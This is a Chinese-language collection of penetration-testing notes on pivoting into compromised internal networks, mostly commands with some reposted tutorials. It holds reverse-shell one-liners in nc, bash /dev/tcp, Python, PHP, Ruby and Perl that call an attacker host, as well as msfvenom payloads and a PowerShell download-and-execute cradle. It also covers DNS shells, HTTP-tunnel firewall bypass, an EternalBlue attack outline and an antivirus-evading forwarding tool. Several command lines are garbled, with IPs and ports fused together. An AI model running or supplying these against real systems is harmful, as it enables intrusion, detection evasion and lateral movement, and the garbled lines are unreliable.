$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例:
a) lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个“三级级联”的本地SOCKS测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Shell反弹不出[DMZ]

1、先生成一个bind_shell
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=12345 -f exe -o ./shell.exe
2、本地利用tunna工具进行端口转发
python proxy.py -u http://xxxx.com/conn.jsp  -l 3333 -r 12345 v
3、监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 3333

SSH隧道

三种不同类型的ssh隧道
http://hetaoo.iteye.com/blog/2299123
通过VPS SSH隧道使用本地msf
https://evi1cg.me/archives/Port_Forward_using_VPS_SSH_Tunnel.html
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip  
socket代理
ssh -qTfnN -D port remotehost
反向隧道,用于内网穿透防火墙限制之类
-q      #安静模式
-T #不占用shell
-f #后台运行,推荐加-n参数
-N #不执行远程命令
set RHOST 127.0.0.1

Netsh[tcp]

添加转发规则
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389

此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389
删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090
查看现有规则
netsh interface portproxy show all
xp需要安装ipv6
netsh interface ipv6 install

nc [正向]

1、 nc -e /bin/sh -lp 1234
nc -e /bin/sh 223.8.200.234 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

2、 mknod /tmp/backpipe p
/bin/sh 0
/tmp/backpipe 3、 nc.exe -e cmd.exe -lp 1234 [windows]

lcx 内网转发

监听1234端口,转发数据到2333端口
本地:lcx.exe -listen 1234 6666
将目标的3389转发到本地的1234端口
肉鸡:lcx.exe -slave my_ip 1234 127.0.0.1 3389
re:最好有个vps

reGeorg

https://github.com/sensepost/reGeorg
python reGeorgSocksProxy.py -p 4444 -u http://xxx.com/tunnel.php
vim /etc/proxychains.conf
socks5 127.0.0.1 4444
proxychains4 nmap -sT -Pn -n 192.168.1.2

Tunna[速度较慢]

https://github.com/SECFORCE/Tunna
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v 
rdesktop 127.0.0.1:1234

Linux portmap 端口映射

转发ssh到外网 不太常用
./portmap -m 2 -p1 6666 -h2 8.8.8.8 -p2 7777    #先在外网执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 8.8.8.8 -p2 6666 #在内网shell下执行
ssh 127.0.0.1 -p 7777 #在外网机器上执行
rtcp.py
1. 在B服务器上运行:
./rtcp.py l:10001 l:10002
表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了
2. 在A服务器上运行:
./rtcp.py c:localhost:22 c:222.2.2.2:10001
表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了
3. 然后我们就可以这样来访问A服务器的22端口了:
ssh 222.2.2.2 -p 10002
如果报错ssh_exchange_identification: read: Connection reset by peer 解决方法chmod 400 /etc/ssh/*
tunna
第一步 运行proxy.py 并指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第二步 本地执行 rdesktop 127.0.0.1:1234
python2.7 proxy.py -u http://x.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389 #-a指定内网的机器
htran
正向代理
服务端      htran.exe -s -bind 8888
客户端 SocksCap:SOCKS Version 5 服务端IP:8888
反向代理
客户端      htran.exe -s -listen 1234 8888
服务端 htran.exe -s -connect 客户端IP 1234
客户端 SocksCap:SOCKS Version 5 127.0.0.1:8888
正向端口转发
服务端      htran.exe -p -tran 8888 127.0.0.1 3389
客户端 RDP 服务端IP:8888
反向端口转发
客户端      htran.exe -p -listen 1234 8888
服务端 htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389
客户端 RDP 127.0.0.1:8888
iptables端口映射
bash
vi /etc/sysctl.conf #将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1 开启转发功能
sysctl -p #使数据转发功能生效
iptables -t nat -A PREROUTING --dst 192.168.46.129 -p tcp --dport 81 -j DNAT --to-destination 172.24.20.25:80 #把本地192.168.46.129的81端口转为目标172,24.20.25的80端口
iptables -t nat -A POSTROUTING --dst 172.24.20.25 -p tcp --dport 80 -j SNAT --to-source 192.168.46.129 #172.24.20.25:80返回时 将ip修改为192.168.46.129

端口转发之PowerShell

https://github.com/samratashok/nishang
Victim IP : 192.168.52.1
Attacker IP : 192.168.52.129
1.Reverse shell[tcp]
Attacker:
nc -lvp 4444
Victim:
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444
2.Bind shell[tcp]
Victim:
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888
Attacker:
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888
3.Reverse shell[UDP]支持ipv6
Attacker:
nc -lvup 53
Victim:
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53
4.Bind shell[UDP]
Victim:
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777
Attacker:
nc -vtu 192.168.52.1 7777
5.HTTPS
https://github.com/samratashok/nishang/blob/bfeabd2e043dfef6392e8a930eb1d7a04392af36/Shells/Invoke-PoshRatHttps.ps1
需要Attacker以管理员身份运行,nishang作者最新的脚本会出现错误
Attacker:
PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 80 -SSLPort 443
Victim:
PS C:\> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")
6.DNS shell
dnscat2 : https://github.com/iagox86/dnscat2)
powercat: https://github.com/besimorhino/powercat)


Attacker:
root@kali:~# ruby dnscat2.rb shellcome.com
Victim:
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.131 -v -dns shellcome.com -ep

metasploit

meterpreter> run autoroute -s 192.168.1.0/24
meterpreter> use auxiliary/server/socks4a
msf> route add 192.168.1.0 255.255.255.0 192.168.1.1 [sessionid]

防火墙开启的ms17-010

例如:详细查找ms17-010
https://packetstormsecurity.com/search/?q=MS17-010
1、上传EarthWorm转发端口445到指定端口,然后利用eternalblue+Doublepulsar溢出目标8888端口,成功回弹系统权限的shell
2、由于防火墙限制(也可能其他),直接添加管理员始终不能成功
3、上传工具,获取管理员密码hash破解,成功登陆3389
./ew -s lcx_tran -l 8888 -f 127.0.0.1-g 445

Socks代理工具

Earthworm            http://rootkiter.com/EarthWorm
xsocks https://github.com/5loyd/xsocks
ShadowSOCKS(影梭) https://github.com/shadowSOCKS
SocksCap64 http://www.sockscap64.com/
proxychains http://proxychains.sourceforge.net/
-------------------------------------------------------
 

内网漫游之SOCKS代理大结局 

0×01 引言
在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具,进行端口转发。
适用端口转发的网络环境有以下几种:
1. 服务器处于内网,可以访问外部网络。
2. 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。
3. 服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络。
对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络。
这里的第3种就可以用到我们今天重点要讲的SOCKS代理。Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
Socks在渗透测试中使用特别广泛,能够很方便让我们与目标内网计算机之间通信,避免了一次又一次使用端口转发的麻烦。比较常见的Socks5工具有htran,reGeorg等,socks4的有metasploit。
在实际渗透测试过程中,当我们成功的拿下第一台堡垒机后,此时我们又想对目标内网进一步渗透测试时,socks能够帮助我们更加快速的,方便的访问目标内网的各种资源,比传统的端口转发更加实用。

0×02 渗透环境
此次渗透的环境:左侧是我的个人电脑(内网)和一台有公网IP的VPS,右侧是一个小型内网。假设我们现在已经渗透了一台WEB服务器,该服务器内网IP为10.48.128.25。经过扫描,右侧小型内网网络结构如图所示。其中我们控制的WEB服务器是连接外网和内网的关键节点,内网其他服务器均不能直接连接。图是我老婆用CAD画的,还不错吧!: )
http://p4.qhimg.com/t01a70f1ae1dfc671b3.png

0×03 socket端口转发
首先我们介绍下最为经典也是使用最为频繁的端口转发工具lcx,lcx.exe 是一个基于 socket 套接字实现的端口转发工具,它是从 linux 下的htran 工具移植到windows平台的。一条正常的socket隧道必具备两端,一侧为服务端,它会监听一个端口等待客户端连接;另一侧为客户端,通过传入服务端的ip和端口,才能主动连接到服务器。
比如要转发上图中目标机器10.48.128.25的3389端口:
1、在目标机器10.48.128.25上执行
lcx.exe –slave 139.XXX.XX.113 9000 10.48.128.25 3389
此段命令意思是将目标机器3389端口的所有数据都转发到公网VPS的9000端口上。
2、在VPS上执行
lcx.exe –listen 9000 5555
此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上。
3、在左侧的My PC机上用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。即可访问右侧内部网络中10.48.128.25服务器的3389端口。
Lcx工具实现的是一对一的端口转发,如果想访问右侧网络中列出的所有端口,就必须一次次的重复lcx的转发过程,效率相当低下。而且服务器都是有装有杀毒软件的,即使有做免杀也不能保证绕过所有的杀毒。
像这种情况就可以用到socks代理,在10.48.128.25这台既能连接互联网又能连接内网的WEB服务器上架设代理。

0×04 SOCKS代理工具
socks代理其实也可理解为一个增强版的 lcx,它在服务端监听一个服务端口,当有新的连接请求时会从socks协议中解析出访问目标的URL的目标端口,再开始执行lcx的具体功能。网络上Socks代理工具有很多,选用的时候尽可能使用无GUI界面的工具,还有尽可能不需要安装其他依赖软件,能够支持多平台操作系统的更佳。
http://p5.qhimg.com/t01bf3ca8ad038c0b41.png
1. Earthworm    工具网址:http://rootkiter.com/EarthWorm 
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/ 
2.reGeorg        工具网址:https://github.com/NoneNotNull/reGeorg 
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
3.sSocks         工具网址:http://sourceforge.net/projects/ssocks/ 
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13。
4.SocksCap64    工具网址:http://www.sockscap64.com (需翻墙)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。
5.proxychains    工具网址:http://proxychains.sourceforge.net/ 
Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。

0×05 架设代理服务端
在实际渗透测试中,我经常使用的socks工具是EW,该程序体积很小,LINUX的只有30KB左右,Windows下面的也只有56KB,而且不需要再做其他设置,真的是居家旅行之必备之物。
下载打开EW软件文件夹,可以看到有针对各种系统用的程序,如下图:
http://p1.qhimg.com/t018026cdf401d78e7a.png
根据你实际的操作系统选用就可以了,因为我们此次渗透是WINDOWS的所以就用ew_for_win.exe这个程序了。EW的使用也非常简单,该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
首先介绍用于普通网络环境的正向连接ssocksd命令和反弹连接rcsocks命令、rssocks命令,再介绍用于复杂网络环境的多级级联。
# 简单解释下正向代理和反向代理的区别,正向代理就是我们主动通过proxy来访问目标机器,反向代理就是目标机器通过proxy主动来连接我们。
1. 正向socks v5服务器            适用于目标机器拥有一个外网IP
ew –s ssocksd –l 888
http://p1.qhimg.com/t01f9ec47fc4e179acd.png
上述命令架设了一个端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。比较简单就不演示了。
2. 反弹socks v5服务器          适用于目标机器没有公网IP,但可访问内网资源
A. 先上传ew 到左侧ip地址为139.XXX.XX.113公网VPS的C盘上,运行下列命令:
ew -s rcsocks -l 1008 -e 888
http://p2.qhimg.com/t018a5cf5643fc693d8.png
该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口
B. 上传EW到右侧IP地址为10.48.128.25的WEB服务器C盘上,运行下列命令:
ew -s rssocks -d 139.XXX.XX.113 -e 888
http://p4.qhimg.com/t01e35d6cd7845338ab.png
该命令的意思是在10.48.128.25上启动SOCKS V5服务,并反弹到IP地址为139.XXX.XX.113左侧公网VPS的888端口上。
C. 返回我们公网VPS的CMD界面下,可以看到已经反弹成功了。现在就可以通过访问139.XXX.XX.113:1008端口使用在右侧10.48.128.25架设的SOCKS5代理服务了。
http://p5.qhimg.com/t019f6d188b3c340730.png
3.二级网络环境(一)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块连通外网,一块10.48.128.25只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
http://p2.qhimg.com/t01922a52dd078eb9c4.png
A.先上传ew到B主机,利用ssocksd方式启动888端口的SOCKS代理,命令如下:
ew -s ssocksd -l 888
http://p4.qhimg.com/t012a7629a90c63401e.png
B.上传ew到右侧A主机,运行下列命令:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
http://p7.qhimg.com/t0162b118311fd680ed.png
该命令意思是将1080端口收到的代理请求转交给B主机(10.48.128.49)的888端口。
C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。
4.二级网络环境(二)
假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
http://p2.qhimg.com/t01b56dba5d46e0fe7e.png
这个操作分为4步,用到lcx_listen和lcx_slave命令:
A. 先上传ew 到左侧公网VPS上,运行下列命令:
ew –s lcx_listen –l 10800 –e 888
http://p8.qhimg.com/t0110e8d8ca5318674f.png
该命令意思是在公网VPS添加转接隧道,将10800端口收到的代理请求转交给888端口。
B.上传ew到右侧B主机,并利用ssocksd方式启动999端口的socks代理,命令如下:
ew -s ssocksd -l 999
http://p0.qhimg.com/t01b15a1e57f38dbd03.png
C.上传ew 到右侧A主机,运行下列命令:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
http://p1.qhimg.com/t01d9f657124b271028.png
该命令意思是在A主机上利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来。
D. 返回我们公网VPS的CMD界面下,可以看到已经连接成功了。
http://p6.qhimg.com/t01429762ed8b5ed759.png
现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。
5.三级网络环境
三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法。
假设渗透场景:右侧内网A主机没有公网IP但可以访问外网,B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。
http://p4.qhimg.com/t01ff7041c2e5b62dac.png
A.在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口:
ew -s rcsocks -l 1080 -e 888
B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
C.在B主机上运行命令,将999端口收到的代理请求转交给777端口:
ew -s lcx_listen -l 999 -e 777
D.在C主机上启动SOCKS V5服务,并反弹到B主机的777端口上,命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。
整个数据流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks

0×06 内网漫游
1.Windows下使用sockscap64
首先下载安装好SocksCap64后,以管理员权限打开。默认浏览器已经添加。
http://p2.qhimg.com/t01b42aa4487900899f.png
使用比较简单,点击代理,点击添加一个代理,然后设置下代理服务器IP和端口就可以使用了。设置好后可以点击软件右边有个闪电的小圆点,测试下当前代理服务器是否可以连接,如下图,连接是正常的。
http://p7.qhimg.com/t019ee15c37e0d34209.png
这个时候就可以选择浏览器,右击在代理隧道中运行选中的程序,然后我们就可以自由访问我们想访问的内网资源了,比如我们可以访问10.48.128.22路由的80端口,如下图:
http://p4.qhimg.com/t01dee009f3c4569efa.png
http://p5.qhimg.com/t0115b0b71255b432ee.png
可以看到我们已经成功的通过socks代理漫游内部网络WEB资源,我们接着看看还有哪些程序能够利用SOCKSCAP的程序通过代理访问内网中的哪些端口了?
尝试登陆10.48.128.20的3389端口,可以看到成功登陆。
http://p5.qhimg.com/t011e4cb4e5493327fe.png
我们可以在我们的公网VPS的命令行下可以看到,不停的有数据的交换。再尝试PUTTY访问10.48.128.49的22端口,成功登陆。
http://p7.qhimg.com/t01d0610ee2055e054c.png
http://p1.qhimg.com/t01e6cdb5297a52660b.png
再试试VNC端口,因为10.48.128.25开了5900端口,OK,成功访问。大家可以看到这种利用SOCKS代理实现一对多端口映射的优势立刻就体现了出来,效率倍增。
http://p4.qhimg.com/t011de757794e4604e6.png
但是将扫描工具进行SOCKSCAP代理,然后对内网网段进行扫描,我没有尝试成功,大家可以多多的尝试各种工具!我在代理下用扫描工具一般都是用proxychains,大家接着往下看!
2.LINUX下使用proxychains
KALI系统已经预装好了这个工具,我们稍作配置就可以使用,打开终端,输入命令:
vi /etc/proxychains.conf
# 顺便补充下LINUX下Vim编辑器简单使用方法
使用上面命令进入文本后,摁“i”键就进入了编辑模式,可以对文本进行修改,修改完后摁esc 然后摁住shift+; 左下角会出现一个冒号,如下图。
http://p8.qhimg.com/t01e8a23a5c7538b3ff.png
这个时候输入wq,摁回车保存并退出。
第一步先删掉dynamic_chain前面的注释符(也就是#符号),如下图
http://p1.qhimg.com/t01b31011a5fb490d35.png
然后拉到最下面,把默认是socks4 127.0.0.1 9050 的地方改成我们架设的代理服务139.XXX.XX.113 1008
http://p1.qhimg.com/t01fc40103beb5fae0b.png
这样就设置完成了,我们接着测试下代理服务是否正常,在终端输入
proxyresolv www.baidu.com
http://p7.qhimg.com/t0180bf282bee9e1723.png
此时如上图所示会显示未找到命令,不要担心,继续在终端输入下列命令
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
然后再次测试下代理服务器是否正常,如下图,显示OK就表示配置正确了。
http://p4.qhimg.com/t01f20f07eead569a3d.png
现在我们就可以愉快的畅游内网了,照例先访问内网网站试试看,我们先在终端输入proxychains firefox启动火狐浏览器。
http://p0.qhimg.com/t0154d7db85203b1fbf.png
等个几秒钟,火狐就打开了,我们还是访问10.48.128.22路由的80端口看看。
http://p4.qhimg.com/t012f2e31e653d802ea.png
顺利打开,可以看到kali里面的数据不停的交换,我们再打开10.48.128.48看看,也是可以访问的,一个Zend服务器测试页。
http://p8.qhimg.com/t011913de2fda937eb2.png
接着就到了我们的重头戏了,我们找几个具有代表性的工具试试,先看看NMAP和SQLMAP好使不!
http://p2.qhimg.com/t01108e656ce1c33a5d.png
http://p6.qhimg.com/t01cd6ce8a8965878bc.png
如上图所示,均表示相当好使,我们最后再试试大杀器-Metasploit可不可以用。
http://p8.qhimg.com/t01ee29286b13a977e9.png
我们随便找个IP扫扫看端口,如下图所示,已经开始扫描了。
http://p4.qhimg.com/t01485b9a2fe02b67ba.png
其他工具就不再一一介绍了。
The End.
最后感谢rootkiter写出了如此优秀的软件。

from https://www.anquanke.com/post/id/85494
---------------------------------------------------------------

内网穿透方式与思路总结

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建:
这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:
  • 内网地址(NAT网络):10.0.2.0/24
    • 内网主机A(Windows):10.0.2.15
    • 内网主机B(Linux):10.0.2.5
  • 内网出口地址(NAT出口地址):192.168.7.225
  • 外网主机:192.168.0.230
网络拓扑如下:

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。
场景与思路分析:
场景一:内网防火墙对出口流量没有任何端口限制
思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell
方法:
1. Windows:
nc.exe -nv 192.168.0.2308080-e cmd.exe
2. Linux: 
1)Netcat
nc -nv 192.168.0.2308080-e /bin/bash

mknod
/tmp/p p &&/bin/sh 0</tmp/p | nc 192.168.0.23080801>/tmp/p
2)Ncat
ncat -nv 192.168.0.2308080-e /bin/bash
3)Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4)PHP
php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
5)Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
6)Perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7)Bash
bash -i >&/dev/tcp/192.168.0.230/80800>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196>&1962>&196

/bin/bash -i >/dev/tcp/192.168.0.230/80800<&12>&1
场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)

思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务
方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可
方法二:端口转发
1. Windows
2. Linux (SSH远程端口转发,以允许的特定端口为80为例)
1)在外网主机上将ssh的22端口映射到80端口
$ apt-get install rinetd
$ vim
/etc/rinetd.conf
# bindadress bindport connectaddress connectport
192.168.0.23080192.168.0.23022
2)内网主机上SSH远程端口转发如下
ssh root@192.168.0.230-p 80-f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)
3)在外网主机上直接ssh内网主机如下
ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)
方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行
ssh -f -N -R 2222:127.0.0.1:22-p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2)在外网主机上执行
ssh -f -N -D 127.0.0.1:8080-p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)
3)在外网主机上配置proxychains设置socks4代理
$ vim /etc/proxychains.conf
[ProxyList]
socks4
127.0.0.18080
4) 使用proxychains代理所有流量进入内网
proxychains nc -nv 10.0.2.53306

场景三:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术
方法:将payload的协议封装在HTTP协议中

1)在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge
80/bridge
$ nc
-lvvp 8080

2)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge
8080 http://192.168.0.230:80/bridge 192.168.0.2308080
$ nc
-nv 127.0.0.18080-e /bin/bash

一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。
场景四:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。
方法:利用SSL或者SSH加密流量在结合HTTP隧道技术

1)与场景三中的方法类似,先在外网主机上安装brigde
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge
80/bridge

2)在外网主机上开启使用了ssl加密的ncat监听进程,如下
ncat -lvvp 8080--ssl
3)在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge
8080 http://192.168.0.230:80/bridge 192.168.0.2308080
4)同样地,在内网主机上使用ssl与监听主机通信
ncat -nv 127.0.0.18080-e /bin/bash --ssl


SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五:内网主机完全与外网不通
思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。
方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…


0x02 小结

本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。

from  http://web.archive.org/web/20191108165618/http://avfisher.win/archives/733
--------

Windows上的一个端口转发工具

一.前言

lcx是个非常经典的转发工具,但是lcx现在被杀的厉害。而据说,源码免杀才是王道。所以,我产生了自己编写个功能类似lcx的端口转发工具的想法。写完后经过10多天的测试。现在发布正式版v1.0。

二.程序特色(相对lcx.exe而言)

1.不会秒断。(重点)相信玩过内网,或者服务器3389需要转发的很多人都遇到过一个问题,就是lcx有些时候会秒断,导致以后无法正常远程登录。本程序可以抗秒断,这个是经 过实际测试的。有一位机油使用lcx转发,远程登录时秒断,无法正常连接。我上去,使用本程序直接秒杀,连接一直很正常。
2.免杀 写本程序的初衷,是因为lcx被杀的太厉害了,而lcx又很喜欢,我比较喜欢,所以就萌生了自己写一个类似功能的工具的想法。源码免杀才是王道,这是写本程序的出发点。免杀证明:http://r.virscan.org/report/ab95ca1a134a0a1a9d4c82c387e9fc7a.html

三.程序简介

1.程序说明:
我没有读过Lcx的源码,本软件是由我自己构思和编写的,只是功能与lcx.exe类似而已。
2.程序用法:
PortTransfer.exe -listen leftPort rightPort -remote leftIp leftPort rightIp rightPort -trans  leftPort rightIp rightPort
3.程序抽象:
我把远程连接到目的主机想象成从左到右的连接。mstsc在左,远程主机在右.这样,left与right意思就很明显了,难道不是吗? 4.使用实例: 假设虚拟机中有Windows XP系统,物理主机需要远程连接它。我们可以这样:(假设物理主机IP地址为1.1.1.1)
1).物理机上,执行
PortTransfer.exe -listen 5001 5002
2).虚拟机中,执行
PortTransfer.exe -remote 1.1.1.1 5002 127.0.0.1 3389
3).物理机中,执行
PortTransfer.exe -trans   6001 127.0.0.1 5001
